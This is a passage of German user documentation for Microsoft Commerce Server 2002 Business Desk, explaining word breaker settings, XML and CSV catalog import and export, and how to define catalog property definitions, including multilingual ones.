    Ein Volltextsuchsatz wie "Dies ist ein neues Wort" wird vom Worttrennmodul in Einzelwörter aufgeschlüsselt. Das Verhalten eines Worttrennmoduls wird von der Sprache, für die es konfiguriert ist, bestimmt. Zur Unterstützung von Suchläufen für einen englischsprachigen Katalog würden Sie beispielsweise das Worttrennmodul 1033 angeben. 1033 ist dabei die Gebietsschema-ID für Englisch.

    Sie können das Worttrennmodul für die Sprache eines Katalogs konfigurieren. Wenn Sie beispielsweise mit einem Katalog arbeiten, der nur Japanisch enthält, würden alle Texteigenschaften japanischen Text enthalten, unabhängig davon, ob die Eigenschaften als mehrsprachig definiert wurden. In diesem Fall ist das standardmäßige Wortrennmodul nicht angemessen. Konfigurieren Sie es deshalb für Japanisch.

    Zur Angabe des Worttrennmoduls für einen Katalog können Sie in die CatalogLanguageMap-Tabelle von Hand eine Zeile für das Gebietsschema eingeben (z. B. "en-us", 1033). Sie können die CatalogLanguageMap-Tabelle aber auch unter Verwendung des Skripts "UpdateLanguageInfo.vbs" auffüllen. Dieses Skript finden Sie unter \Programme\Microsoft Commerce Server 2002\Support.

    Zum Konfigurieren des Worttrennmoduls für die neutrale Sprachtabelle, Katalogname_CatalogProducts, nutzen Sie eine Zeile in der CatalogLanguageMap-Tabelle {"neutral", lokaler Bezeichner}. Wenn Sie das neutralsprachliche Worttrennmodul ändern, wirkt sich das nur auf Kataloge aus, die danach erstellt werden. Diese Änderung wirkt sich sowohl auf bereits vorhandene als auch auf neue Kataloge aus.


Importieren und Exportieren von Katalogen

In folgenden Szenarios müssen Sie unter Umständen Commerce Server-Kataloge importieren und exportieren:

  • Export von Katalogdaten, die in einer Oracle-Datenbank gespeichert sind, in eine XML- oder CSV-Datei und anschließender Reimport in Commerce Server. Damit das regelmäßig erfolgt, kann Ihnen Ihr Systemadministrator möglicherweise eine zeitlich geplante Aufgabe einrichten.
  • Export eines mehrsprachigen Katalogs in Commerce Server in eine XML-Datei, Senden an einen Übersetzer und dann Reimport des Katalogs in Commerce Server.
  • Export von Katalogdaten aus einer Microsoft Excel-Tabelle und anschließender Reimport in Commerce Server.

In Commerce Server Business Desk können Sie einen Katalog in allen drei dieser Szenarien importieren.

Wenn Sie einen Katalog in regelmäßig geplanten Abständen importieren möchten, beispielsweise, um Kataloge von Geschäftspartnern zu importieren, wenden Sie sich wegen des zu verfassenden Codes an Ihren Entwickler. Informationen dazu, wie Sie mit der CatalogManager-API den Code zum Importieren eines Katalogs schreiben können, finden Sie unter CatalogManager Object (englisches Thema).

Dieser Abschnitt beinhaltet folgende Themen:

  • Importieren einer XML-Katalogdatei
  • Importieren einer CSV-Katalogdatei
  • Exportieren eines Katalogs
  • Exportieren einer CSV-Katalogdatei nach Excel


Importieren einer XML-Katalogdatei

Ein Commerce Server-Katalog im XML-(Extensible Markup Language)-Dateiformat enthält Katalogdefinitions- und Produktdaten. Sie können diese XML-Datei importieren und dann mithilfe des Katalog-Editor-Moduls Änderungen an den Produktdaten vornehmen.

Hinweise

  • Ihr Systemadministrator muss den Volltextindizierungsdienst (Microsoft Search-Dienst) starten, bevor Sie einen Katalog in die Katalogdatenbank importieren können.
  • Sie können keinen Katalog importieren, der eine Produktdefinition mit anderen Eigenschaften als eine bestehende Produktdefinition desselben Namens enthält.
  • Ihr Katalog kann benutzerdefinierte Katalogattribute und Eigenschaftsattribute enthalten.
  • Wenn Ihr Katalog Produktvarianten enthält, müssen Sie mit XML arbeiten, damit Ihre Varianten erhalten bleiben. CSV-Dateien unterstützen keine Produktvarianten.
  • Nach dem Import eines Katalogs muss Ihr Systemadministrator das Anwendungsereignisprotokoll auf protokollierte Fehler prüfen.
  • Zum Importieren von XML-Dateien mit mehr als 1 GB muss auf dem Server MSXML 4.0 installiert sein.

So importieren Sie eine XML-Katalogdatei

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Klicken Sie im Bildschirm Kataloge auf der Symbolleiste auf Importieren. Wählen Sie dann in der Dropdownliste die Option XML-Datei importieren aus.
  3. Führen Sie im Dialogfeld XML-Katalog importieren folgende Schritte aus:
    Funktion | Aktion
    Geben Sie eine XML-Datei auf dem Server an | Geben Sie den Namen der XML-Katalogdatei ein, die importiert werden soll. Diese XML-Katalogdatei muss sich auf demselben Computer wie Commerce Server befinden.
    Geben Sie eine lokal verfügbare XML-Datei an Klicken Sie auf Durchsuchen, um zu einer XML-Katalogdatei auf Ihrem Business Desk-Clientcomputer zu navigieren.

    Wenn der Katalog sehr umfangreich ist, dauert der Importvorgang einige Minuten. Viel schneller lässt sich ein Katalog importieren, der auf dem Server abgelegt ist.
    Vorhandene Daten im Katalog löschen | Aktivieren Sie dieses Kontrollkästchen, wenn Sie einen Katalog importieren, der bereits in der Commerce Server-Katalogdatenbank existiert. Dadurch werden die Daten des bestehenden Katalogs vor dem Import der neuen Version gelöscht.
    XML-Datei überprüfen (nicht importieren) | Dieses Kontrollkästchen aktivieren Sie, damit die Daten in der XML-Datei vor dem Import gelöscht werden. Wenn die Daten fehlerhaft sind, wird eine Fehlermeldung angezeigt, und der Katalog wird nicht importiert.
  4. Klicken Sie auf OK.

    Daraufhin werden Sie in einer Meldung darüber informiert, dass der Katalogimportvorgang gestartet wurde. Die für den Katalogimport benötigte Zeit hängt von der Größe des Katalogs ab. Während dieser Zeit können Sie Business Desk für die Ausführung anderer Tasks verwenden oder schließen.

    Wenn Sie eine Meldung erhalten, die besagt, dass die XML-Datei fehlerhaft ist, wenden Sie sich an Ihren Systemadministrator, um das Problem zu ermitteln.

  5. Zur Anzeige des Katalogs nach dem Import klicken Sie auf Katalog-Editor. Dadurch wird der Bildschirm Katalog-Editor aktualisiert.
  6. Zum Veröffentlichen des Katalogs in Ihrer Website klicken Sie auf Katalog-Editor und anschließend auf der Symbolleiste auf Katalog veröffentlichen.

    Informationen über das Veröffentlichen eines Katalogs finden Sie unter Aktualisieren und Veröffentlichen eines Katalogs.

Siehe auch

Empfohlene Vorgehensweisen für Kataloge

Übersetzen eines Katalogs durch Exportieren/Importieren

Importieren einer CSV-Katalogdatei

Katalog kann nicht importiert werden

CatalogManager Object (englisches Thema)


Importieren einer CSV-Katalogdatei

Bei Bedarf können Sie für den Import von Daten aus einer Microsoft Excel-Tabelle mit CSV-Katalogdateien arbeiten. In Microsoft Excel können Sie eine Tabelle als CSV-Tabelle speichern.

CSV-Dateien haben folgende Merkmale:

  • Eine CSV-Katalogdatei enthält Produktdaten, aber keine Katalogdefinitionen.
  • Die Produkte in der CSV-Datei sind nicht in Kategorien unterteilt.
  • Die CSV-Katalogdatei muss über einen Produktbezeichner und eine Preisspalte verfügen.
  • CSV-Katalogdateien enthalten eigenständige Produkte und unterstützen keine Produktvarianten.
  • CSV-Katalogdateien unterstützen nur den Datentyp Zeichenfolge.

Beim Import werden die Produkte in einer CSV-Katalogdatei einer einzelnen Produktdefinition zugeordnet.

Wenn eine CSV-Katalogdatei importiert wird, wird automatisch eine Produktdefinition basierend auf den in der Datei enthaltenen Spalten erstellt. Jedes Produkt wird als Instanz der automatisch erstellten Produktdefinition importiert. Die Produktdefinition erhält denselben Namen wie der zu importierende Katalog.

Nach dem Importieren einer CSV-Katalogdatei können Sie mithilfe des Katalog-Editor-Moduls Kategorien erstellen und Produkte zu den Kategorien hinzufügen.

Hinweise

  • Ihr Systemadministrator muss den Volltextindizierungsdienst (Microsoft Search-Dienst) starten, bevor Sie einen Katalog in die Katalogdatenbank importieren können.
  • Beim Import eines Katalogs mit Produktvarianten müssen Sie mit XML arbeiten, damit Ihre Varianten erhalten bleiben. CSV-Dateien unterstützen keine Produktvarianten.
  • Durch den Import eines Katalogs, der denselben Namen wie eine Produktdefinition hat, wird die ursprüngliche Produktdefinition überschrieben.
  • Sie können keinen Katalog importieren, der eine Produktdefinition mit anderen Eigenschaften als eine bestehende Produktdefinition desselben Namens enthält.
  • Nach dem Import eines Katalogs muss Ihr Systemadministrator das Anwendungsereignisprotokoll auf protokollierte Fehler prüfen.

So importieren Sie eine CSV-Katalogdatei

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Klicken Sie im Bildschirm Kataloge auf der Symbolleiste auf Importieren. Wählen Sie dann in der Dropdownliste die Option CSV-Datei importieren aus.
  3. Führen Sie im Dialogfeld CSV-Katalog importieren folgende Schritte aus:
    Funktion | Aktion
    Geben Sie eine CSV-Datei auf dem Server an | Geben Sie den Namen der CSV-Katalogdatei ein, die importiert werden soll. Diese Datei muss sich auf demselben Computer wie Commerce Server befinden.
    Geben Sie eine lokal verfügbare CSV-Datei an Klicken Sie auf Durchsuchen, um zu einer CSV-Katalogdatei auf Ihrem Business Desk-Clientcomputer zu navigieren.

    Wenn der Katalog sehr umfangreich ist, dauert der Importvorgang einige Minuten. Viel schneller lässt sich ein Katalog importieren, der auf dem Server abgelegt ist.
    Sprache | Wählen Sie die dem importierten Katalog zuzuweisende Sprache.
    Katalogname | Geben Sie einen eindeutigen Namen für den importierten Katalog ein. Dieser Name wird auch für die Produktdefinition verwendet, die während des Imports erstellt wird.
    Produktbezeichner | Geben Sie einen Namen für die Bezeichnerspalte in der CSV-Datei ein.
    Preisspalte | Geben Sie einen Namen der Preisspalte in der CSV-Datei ein.
    Ale vorhandenen Daten im Katalog löschen | Aktivieren Sie dieses Kontrollkästchen, wenn Sie einen Katalog importieren, der bereits in der Commerce Server-Katalogdatenbank existiert. Dadurch werden die Daten des bestehenden Katalogs vor dem Import der neuen Version gelöscht.
  4. Klicken Sie auf OK.

    Daraufhin werden Sie in einer Meldung darüber informiert, dass der Katalogimportvorgang gestartet wurde. Die für den Katalogimport benötigte Zeit hängt von der Größe des Katalogs ab. Während dieser Zeit können Sie Business Desk für die Ausführung anderer Tasks verwenden oder schließen.

    Wenn Sie eine Meldung erhalten, die besagt, dass die CSV-Datei fehlerhaft ist, wenden Sie sich an Ihren Systemadministrator, um das Problem zu ermitteln.

  5. Zur Anzeige des Katalogs nach dem Import klicken Sie auf Katalog-Editor. Dadurch wird der Bildschirm Katalog-Editor aktualisiert.
  6. Zum Veröffentlichen des Katalogs in Ihrer Website klicken Sie auf Katalog-Editor und anschließend auf der Symbolleiste auf Katalog veröffentlichen.

    Informationen über das Veröffentlichen eines Katalogs finden Sie unter Aktualisieren und Veröffentlichen eines Katalogs.

Siehe auch

Empfohlene Vorgehensweisen für Kataloge

Exportieren einer CSV-Katalogdatei nach Excel

Importieren einer XML-Katalogdatei

Katalog kann nicht importiert werden

CatalogManager Object (englisches Thema)

Übersetzen eines Katalogs durch Exportieren/Importieren

Hinzufügen einer Kategorie zu einem Katalog

Hinzufügen eines Produkts zu einem Katalog


Exportieren eines Katalogs

Durch Exportieren kann ein Katalog in eine andere Umgebung übertragen werden. Beispiel: Sie können Ihren Katalog mit Ihrem Geschäftspartner gemeinsam nutzen oder die Entwicklung und Wartung Ihrer Kataloge auslagern.

Anweisungen zum Exportieren eines Katalogs, der dann in eine andere Sprache exportiert wird, finden Sie unter Übersetzen eines Katalogs durch Exportieren/Importieren.

Basiskataloge und virtuelle Kataloge können in das XML- oder CSV-Format exportiert werden.

Hinweise

  • Wenn Sie einen virtuellen Katalog exportieren, wird er zu einem Basiskatalog. Sie können beispielsweise einen virtuellen Katalog exportieren und dann erneut als einen Basiskatalog auf einen anderen Server oder mit einem anderen Katalognamen importieren.

    Sie können keinen virtuellen Katalog exportieren und ihn dann wieder als virtuellen Katalog importieren.

  • Wenn Sie einen virtuellen Katalog exportieren, werden die Preisberechnungsregeln nicht mit exportiert.
  • Wenn Sie einen Katalog in XML-Dateiformat exportieren, können Sie ihn in eine oder alle Sprachen exportieren.
  • Wenn Sie einen Katalog in CSV-Dateiformat exportieren, können Sie ihn nur in eine Sprache exportieren.

So exportieren Sie einen Katalog

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog aus, den Sie exportieren möchten, und klicken Sie anschließend auf der Symbolleiste auf Exportieren.
  3. Wählen Sie in der Dropdownliste aus, ob Sie den Katalog im XML- oder CSV-Format exportieren möchten.
  4. Wenn Sie sich für den Export einer CSV-Datei entscheiden, fahren Sie mit Schritt 5 fort. Wenn Sie sich für den Export als XML-Datei entschieden haben, führen Sie folgende Schritte aus:
    • Wählen Sie im Dialogfeld Katalog exportieren die Option Inkrementeller Export, wenn nur die Änderungen exportiert werden sollen, die seit dem im Feld Anfangsdatum angegebenen Datum auf den Katalog angewendet wurden.
    • Geben Sie in das Feld Anfangsdatum das Datum ein, das den Anfangspunkt für den inkrementellen Export bilden soll.
  5. Geben Sie im Feld Sprache die Sprache ein, in die die mehrsprachigen Eigenschaften exportiert werden sollen. Wenn die Eigenschaft "Beschreibung" beispielsweise Werte in Englisch und Chinesisch enthält, haben Sie die Möglichkeit, den Katalog nur in Englisch, nur in Chinesisch oder in beiden Sprachen zu exportieren.
  6. Geben Sie im Feld Geben Sie einen Speicherort für die Datei auf dem Server an den vollständigen Pfad und Dateinamen eines Katalogs ein, in den Daten vom Server geschrieben werden können, und klicken Sie dann auf OK.

    Exportvorgänge von Dateien mit einem vom Benutzer angegebenen Dateinamen erfolgen auf der Serverseite stets in den Ordner ProductCatalogs im Ordner Bizdesk des Servers. Beispiel: Die Datei output.xml wird auf den Server als d:\inetpub\wwwroot\retailbizdesk\productcatalogs\output.xml exportiert. Dieses Verzeichnis können Sie als Freigabe einrichten.

Der Katalog wird an den angegebenen Speicherort exportiert, von dem Sie ihn nach Bedarf verschieben können.

Siehe auch

Exportieren einer CSV-Katalogdatei nach Excel

Übersetzen eines Katalogs durch Exportieren/Importieren

Senden eines Katalogs an einen Handelspartner

Kataloge von mehreren Lieferanten

CatalogManager Object (englisches Thema)


Exportieren einer CSV-Katalogdatei nach Excel

Sie können einen Katalog aus der Commerce Server-Datenbank exportieren und dann in eine Microsoft Excel-Tabelle importieren.

Hinweise

  • Wenn Sie einen virtuellen Katalog exportieren, wird er zu einem Basiskatalog. Sie können beispielsweise einen virtuellen Katalog exportieren und dann als Basiskatalog importieren.
  • Wenn Sie einen Katalog in CSV-Dateiformat exportieren, können Sie ihn nur in eine Sprache exportieren.
  • Wenn Sie einen virtuellen Katalog exportieren, werden die Preisberechnungsregeln nicht mit exportiert.

So exportieren Sie einen Katalog im CSV-Dateiformat

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog aus, den Sie exportieren möchten, und klicken Sie anschließend auf der Symbolleiste auf Exportieren.
  3. Wählen Sie in der Dropdownliste die Option CSV-Datei exportieren aus.
  4. Geben Sie im Dialogfeld Katalog exportieren in das Feld Anfangsdatum das Datum ein, das den Anfangspunkt für den inkrementellen Export bilden soll.
  5. Geben Sie im Feld Sprache die Sprache ein, in die die mehrsprachigen Eigenschaften exportiert werden sollen. Wenn die Eigenschaft "Beschreibung" beispielsweise Werte in Englisch und Chinesisch enthält, haben Sie die Möglichkeit, den Katalog nur in Englisch, nur in Chinesisch oder in beiden Sprachen zu exportieren.
  6. Geben Sie im Feld Geben Sie einen Speicherort für die Datei auf dem Server an den vollständigen Pfad und Dateinamen eines Katalogs ein, in den Daten vom Server geschrieben werden können, und klicken Sie dann auf OK.

    Exportvorgänge von Dateien mit einem vom Benutzer angegebenen Dateinamen erfolgen auf der Serverseite stets in den Ordner ProductCatalogs im Ordner Bizdesk des Servers. Beispiel: Die Datei output.xml wird auf den Server als d:\inetpub\wwwroot\retailbizdesk\productcatalogs\output.xml exportiert. Dieses Verzeichnis können Sie als Freigabe einrichten.

Der Katalog wird an den gewählten Speicherort exportiert.

So importieren Sie eine CSV-Katalogdatei in Excel

  1. Klicken Sie in Microsoft Excel auf Öffnen.
  2. Wechseln Sie in der Liste Suchen in zu dem Laufwerk/Ordner bzw. der Internetadresse, an dem/der sich die zu öffnende Datei befindet.
  3. Wählen Sie unter Datentyp aus der Dropdownliste die Option Textdateien (*.prn; *.txt; *.csv), und klicken Sie dann auf Öffnen.

    Daraufhin wird der Textkonvertierungs-Assistent gestartet.

  4. Nehmen Sie im Bildschirm Textkonvertierungs-Assistent – Schritt 1 von 3 die Standardeinträge an, und klicken Sie dann auf Weiter.
  5. Wählen Sie im Bildschirm Textkonvertierungs-Assistent – Schritt 2 von 3 die Option Komma als Trennzeichen, und klicken Sie dann auf Weiter.
  6. Wählen Sie im Bildschirm Textkonvertierungs-Assistent – Schritt 3 von 3 das gewünschte Spaltenformat aus, und klicken Sie dann auf Fertig stellen.

    Die Katalogdatei wird in Excel importiert.

Siehe auch

Importieren einer CSV-Katalogdatei

Empfohlene Vorgehensweisen für Kataloge

Übersetzen eines Katalogs durch Exportieren/Importieren

Senden eines Katalogs an einen Handelspartner

Kataloge von mehreren Lieferanten

CatalogManager Object (englisches Thema)


Erstellen einer Katalogdefinition

Wenn Sie lieber einen eigenen Katalog erstellen möchten, anstatt einen zu importieren, müssen Sie zuerst die Katalogdefinition erstellen. Nach Erstellung der Katalogdefinition können Sie Kategorien, Produkte und Eigenschaften zum Katalog hinzufügen.

Eine Katalogdefinition erstellen Sie in drei Schritten:

  1. Hinzufügen einer Eigenschaftsdefinition. Beispiele für Eigenschaftsdefinitionen sind Name, Beschreibung, Künstler, Titel und Listenpreis. Eigenschaftsdefinitionen werden in Produktdefinitionen und Kategoriedefinitionen verwendet.
  2. Hinzufügen einer Produktdefinition. Ein Onlinemusikanbieter könnte z. B. eine Produktdefinition für das Produkt "CDs" mit den Eigenschaften Künstler, Titel und Listenpreis führen. Alle Produkte im Katalog sind Instanzen von Produktdefinitionen. Eine Produktdefinition gibt die Eigenschaften eines bestimmten Produkttyps an.
  3. Hinzufügen einer Kategoriedefinition. Name und Beschreibung sind beispielsweise Eigenschaften einer Kategorie, die in einer Kategoriedefinition definiert sind.

Die folgende Abbildung zeigt, wie Produkt- und Kategoriedefinitionen auf Eigenschaftsdefinitionen basieren.

Die Abbildung zeigt, wie Produkt- und Kategoriedefinitionen auf Eigenschaftsdefinitionen basieren.

Dieser Abschnitt beinhaltet folgende Themen:

  • Hinzufügen einer Katalogeigenschaftsdefinition
  • Hinzufügen einer mehrsprachigen Eigenschaftsdefinition für einen Katalog
  • Hinzufügen benutzerdefinierter Katalogattribute und Eigenschaftsattribute
  • Hinzufügen einer Katalogproduktdefinition
  • Hinzufügen einer Katalogkategoriedefinition


Hinzufügen einer Katalogeigenschaftsdefinition

Eine Eigenschaftsdefinition definiert ein einzelnes Merkmal einer Kategoriedefinition oder einer Produktdefinition im Katalog.

Eine Eigenschaftsdefinition kann in mehreren Kategorie- und Produktdefinitionen und katalogübergreifend verwendet genutzt werden. Die Eigenschaftsdefinition "Beschreibung" kann z. B. in jeder Produktdefinition und Kategoriedefinition für das Hinzufügen von Kategorie- und Produktbeschreibungen verwendet werden.

Sobald Sie die Eigenschaftsdefinition zu einer Katalogdefinition hinzugefügt haben, können Sie sie auch einer Kategorie- oder Produktdefinition hinzufügen.

Hinweise

  • Namen von Eigenschaftsdefinitionen können bis zu 100 Zeichen lang sein.
  • Der Name einer Eigenschaftsdefinition darf folgende Zeichen nicht enthalten: [, ] und ". Er darf auch keine Punkte oder Kommas enthalten.
  • Der Name einer Eigenschaftsdefinition darf nicht mit einer Zahl beginnen.
  • Beim Importieren von Katalogdaten in das Data Warehouse müssen Namensbeschränkungen der DTS-Task zum Import von Produktkatalogdaten beachtet werden. Diese finden Sie unter Namens- und Größenbeschränkungen für Kataloge.
  • In Namen für Eigenschaftsdefinitionen dürfen die Zeichenfolgen "ProductID" und "VariantID" nicht verwendet werden.
  • Vergewissern Sie sich, dass der Name einer Eigenschaftsdefinition keine unvollständigen Klammernpaare enthält. Wenn Sie beispielsweise eine Eigenschaft mit der Bezeichnung "Schuhgröße Männer)" statt "Schuhgröße (Männer)" eingeben, speichert Commerce Server die Eigenschaft zwar, Sie können sie jedoch nicht aus der Commerce Server-Datenbank abrufen.
  • Wenn Sie die Option Allen Produktdefinitionen zuweisen aktivieren, übernehmen alle später von Ihnen erstellten Definitionen automatisch diese Eigenschaft. Wenn Sie einen XML-Katalog importieren, in dem diese Eigenschaft festgelegt ist, gilt das für alle zukünftig von Ihnen erstellten Produktdefinitionen.
  • Im Feld Ist erforderlich legen Sie fest, ob für die Eigenschaft ein Wert erforderlich ist. Wenn eine Eigenschaft erforderlich ist, wird daneben das Symbol Erforderlich angezeigt.

So fügen Sie der Katalogdefinition eine Eigenschaftsdefinition hinzu

  1. Klicken Sie im Menü Kataloge auf Katalogdefinitions-Designer.
  2. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen auf der Symbolleiste auf Ansicht. Wählen Sie dann aus der Dropdownliste die Option Eigenschaftsdefinitionen.
  3. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Eigenschaftsdefinitionen auf der Symbolleiste auf Neu. Wählen Sie dann den Eigenschaftstyp aus, mit dem Sie eine neue Eigenschaftsdefinition erstellen möchten.

    Wenn die in Commerce Server vorgegebenen Attribute nicht Ihren Vorstellungen entsprechen, können Sie eigene Eigenschaftsattribute hinzufügen. Weitere Informationen dazu finden Sie unter Hinzufügen benutzerdefinierter Katalogattribute und Eigenschaftsattribute.

  4. Welche Felder im Bildschirm Eigenschaftsdefinition: Neu angezeigt werden, hängt vom Typ der ausgewählten Eigenschaftsdefinition ab. Führen Sie folgende Schritte aus:
    Funktion | Eigenschaftstyp | Aktion
    Name Alle Geben Sie einen internen Namen für die Eigenschaft ein.

    Hinweis

    • Nach Speicherung dieser Eigenschaft kann der Eigenschaftsname nicht mehr geändert werden.
    Angezeigter Name | Alle | Geben Sie den Namen ein, der in der Website als Bezeichnung für diese Eigenschaft angezeigt werden soll. So könnte z. B. für eine Eigenschaft mit dem Namen "Hemdfarbe" die Bezeichnung "Farbe" angezeigt werden.
    In der Site anzeigen Alle Aktivieren Sie dieses Kontrollkästchen, um die angegebene Eigenschaft den Benutzern der Website anzuzeigen. Aktivieren Sie dieses Kontrollkästchen nicht, wenn Sie einige Eigenschaften zur internen Verwendung privat halten möchten.

    Für Eigenschaften mit langem Text (Long Text-Eigenschaften) ist diese Option standardmäßig aktiviert.
    Freitextsuche aktivieren Text, Multiplechoice Aktivieren Sie dieses Kontrollkästchen, damit eine Freitextsuche im Katalog auf die in dieser Eigenschaft gespeicherten Werte angewendet wird.

    Bei Aktivierung der Option Freitextsuche aktivieren wird die Eigenschaftsdefinition zum Volltextindex dieses Katalogs hinzugefügt. Wenn Katalogelemente geändert werden, für die die Freitextsuche aktiviert ist, müssen Sie den Volltextindex aktualisieren. Informationen über die Aktualisierung des Volltextindex finden Sie unter Aktualisieren und Veröffentlichen eines Katalogs.
    Mittels Drilldownsuche auffindbar Text, Zahl, Dezimal, Geld/Währung, Datum/Uhrzeit, Multiplechoice, mehrsprachig Aktivieren Sie dieses Kontrollkästchen, um diese Eigenschaft in Drilldownsuchen zu verwenden.

    Diese Option ist für Eigenschaften mit langem Text (Long Text-Eigenschaften) standardmäßig deaktiviert, da langer Beschreibungstext für eine Drilldownsuche nicht geeignet ist.
    Minimallänge Text, mehrsprachig Geben Sie eine Zahl ein, mit der die Minimallänge des Wertes für diesen Eigenschaftstyp definiert wird.

    Wenn Sie eine von null verschiedene Länge angeben, wird diese Eigenschaft für eine Produkt- oder Kategoriedefinition zu einer erforderlichen Eigenschaft, und neben der Eigenschaft wird das Symbol Erforderlich angezeigt.
    Maximallänge | Text, mehrsprachig | Geben Sie eine Zahl ein, mit der die Maximallänge des Wertes für diesen Eigenschaftstyp definiert wird.
    Minimalwert | Zahl, Dezimalzahl, Geld/Währung | Geben Sie eine Zahl ein, mit welcher der Minimalwert für diesen Eigenschaftstyp definiert wird.
    Höchstwert Zahl, Dezimalzahl, Geld/Währung Geben Sie eine Zahl ein, mit welcher der Maximalwert für diesen Eigenschaftstyp definiert wird.

    Wenn Sie z. B. eine Eigenschaft für Geld hinzufügen möchten, geben Sie eine Zahl inklusive Dezimalkomma und Nachkommastellen ein, die den größten Geldwert darstellt, der auf ein Produkt angewendet werden kann.
    Frühestes Datum | Datum/Uhrzeit | Geben Sie das früheste Datum ein, an dem diese Eigenschaft gültig sein soll. Zum Beispiel das früheste Datum, an dem ein Benutzer ein neues Buch bestellen kann.
    Frühester Zeitpunkt | Datum/Uhrzeit | Geben Sie die früheste Uhrzeit im Format 00:00 ein, die dieser Eigenschaft zugeordnet werden soll. Ein Beispiel sind Startzeiten.
    Letztes Datum | Datum/Uhrzeit | Geben Sie das späteste Datum ein, an dem diese Eigenschaft gültig sein soll.
    Letzter Zeitpunkt | Datum/Uhrzeit | Geben Sie eine Uhrzeit im 24-Stunden-Format ein, um den letzten Zeitpunkt anzugeben, an dem diese Eigenschaft gültig sein soll.
    Standardwert | Text, Zahl, Dezimal, Geld/Währung, Datum/Uhrzeit, Multiplechoice, mehrsprachig | Geben Sie den Standardwert für den Eigenschaftstyp ein. Das Format hängt vom hinzuzufügenden Eigenschaftstyp ab.
    Allen Produkttypen zuweisen Alle Aktivieren Sie dieses Kontrollkästchen, um die Eigenschaft allen Produkttypen zuzuweisen. Diese Auswahl könnten Sie beispielsweise für allgemeine Produkteigenschaften wie Name, Beschreibung oder Gewicht treffen.

    Wenn Sie die Option Allen Produktdefinitionen zuweisen aktivieren, übernehmen alle später von Ihnen erstellten Definitionen automatisch diese Eigenschaft.
    Daten für Analyse speichern | Alles, außer Long Text und mehrsprachigem Long Text | Aktivieren Sie dieses Kontrollkästchen, um die Eigenschaft in das Data Warehouse zu exportieren. Durch den Export in das Data Warehouse stehen die Daten für Berichte zur Verfügung.
    In Produktliste anzeigen | Alle | Aktivieren Sie dieses Kontrollkästchen, um diese Eigenschaft in der Produktliste in Ihrer Site anzuzeigen.
    Ist erforderlich | Alles außer mehrsprachigem Multiplechoice | Aktivieren Sie dieses Kontrollkästchen, falls diese Eigenschaft einen Wert enthalten muss. Wenn eine Eigenschaft erforderlich ist, wird neben ihr das Symbol Erforderlich angezeigt.
  5. Klicken Sie zum Speichern der Eigenschaftsdefinition auf der Symbolleiste auf Speichern.
  6. Zum Schützen der Eigenschaft gegen eine Bearbeitung oder ein Löschen durch andere Business Desk-Benutzer klicken Sie im Bereich Sicherheit auf Berechtigungen.
  7. Geben Sie die Windows-Konten der Benutzer an, die die Berechtigung zum Aktualisieren dieses Katalogs haben, und klicken Sie dann auf Schließen.
  8. Wenn Sie die Berechtigungen für die Eigenschaftsdefinition speichern und zum Bildschirm Katalogdefinitions-Designer: Eigenschaftsdefinitionen zurückkehren möchten, klicken Sie auf der Symbolleiste auf Speichern und zurück.

Sie können jetzt die Eigenschaftsdefinition zu einer Kategoriedefinition bzw. einer Produktdefinition hinzufügen.

Siehe auch

Namens- und Größenbeschränkungen für Kataloge

Hinzufügen einer mehrsprachigen Eigenschaftsdefinition für einen Katalog

Hinzufügen einer Katalogproduktdefinition

Hinzufügen einer Katalogkategoriedefinition


Hinzufügen einer mehrsprachigen Katalogeigenschaftsdefinition

In Ihrem Katalog können Sie Eigenschaften erstellen, die mehrere Sprachen unterstützen. So können Sie beispielsweise festlegen, dass die Eigenschaft "Beschreibung" mehrsprachiger Text sein soll und dass diese Eigenschaft Englisch, Deutsch, Japanisch und Französisch unterstützt. Durch Erstellen mehrsprachiger Eigenschaften können Sie Kataloge erstellen, die mehrere Sprachen unterstützen.

Beim Erstellen von mehrsprachigen Eigenschaften werden folgende Typen unterstützt:

  • Mehrsprachiger Text
  • Mehrsprachiger Long Text
  • Mehrsprachiger Dateiname. Der Name einer Datei, die für jede Sprache eindeutig ist. Sie könnten beispielsweise für jede Sprachversion eines Produkts eine andere Bilddatei haben, insbesondere dann, wenn das Bild Text enthält. Freitextsuche aktivieren
  • Mehrsprachiges Multiplechoice

Mehrsprachige Eigenschaften unterstützen nicht die Option Freitextsuche aktivieren.

Hinweise

  • Wenn Sie die Option Allen Produktdefinitionen zuweisen aktivieren, übernehmen alle später von Ihnen erstellten Definitionen automatisch diese Eigenschaft. Wenn Sie einen XML-Katalog importieren, in dem diese Eigenschaft festgelegt ist, gilt das für alle zukünftig von Ihnen erstellten Produktdefinitionen.
  • Ein Eigenschaftsname darf nicht mit einer Zahl beginnen.
  • Im Feld Ist erforderlich legen Sie fest, ob für die Eigenschaft ein Wert erforderlich ist. Wenn eine Eigenschaft erforderlich ist, wird neben ihr das Symbol Erforderlich angezeigt.

So fügen Sie der Katalogdefinition eine mehrsprachige Eigenschaftsdefinition hinzu

  1. Klicken Sie im Menü Kataloge auf Katalogdefinitions-Designer.
  2. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen auf der Symbolleiste auf Ansicht. Wählen Sie dann aus der Dropdownliste die Option Eigenschaftsdefinitionen.
  3. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Eigenschaftsdefinitionen auf der Symbolleiste auf Neu. Wählen Sie dann den mehrsprachigen Eigenschaftstyp aus, mit dem Sie eine neue Eigenschaftsdefinition erstellen möchten.
  4. Welche Felder im Bildschirm Eigenschaftsdefinition: Neu angezeigt werden, hängt vom Typ der ausgewählten Eigenschaftsdefinition ab. Nehmen Sie im Bereich Eigenschaften die folgenden Einstellungen vor:
    Funktion | Eigenschaftstyp | Aktion
    Name Alle Geben Sie einen internen Namen für die Eigenschaft ein. Hinweise zur Eingabe des Namens, der in Ihrer Website erscheint, finden Sie in Schritt 5.

    Hinweis

    • Nach Speicherung dieser Eigenschaft kann der interne Eigenschaftsname nicht mehr geändert werden.
    In der Site anzeigen | Alle | Aktivieren Sie dieses Kontrollkästchen, um die angegebene Eigenschaft den Benutzern der Website anzuzeigen. Aktivieren Sie dieses Kontrollkästchen nicht, wenn Sie einige Eigenschaften zur internen Verwendung privat halten möchten.
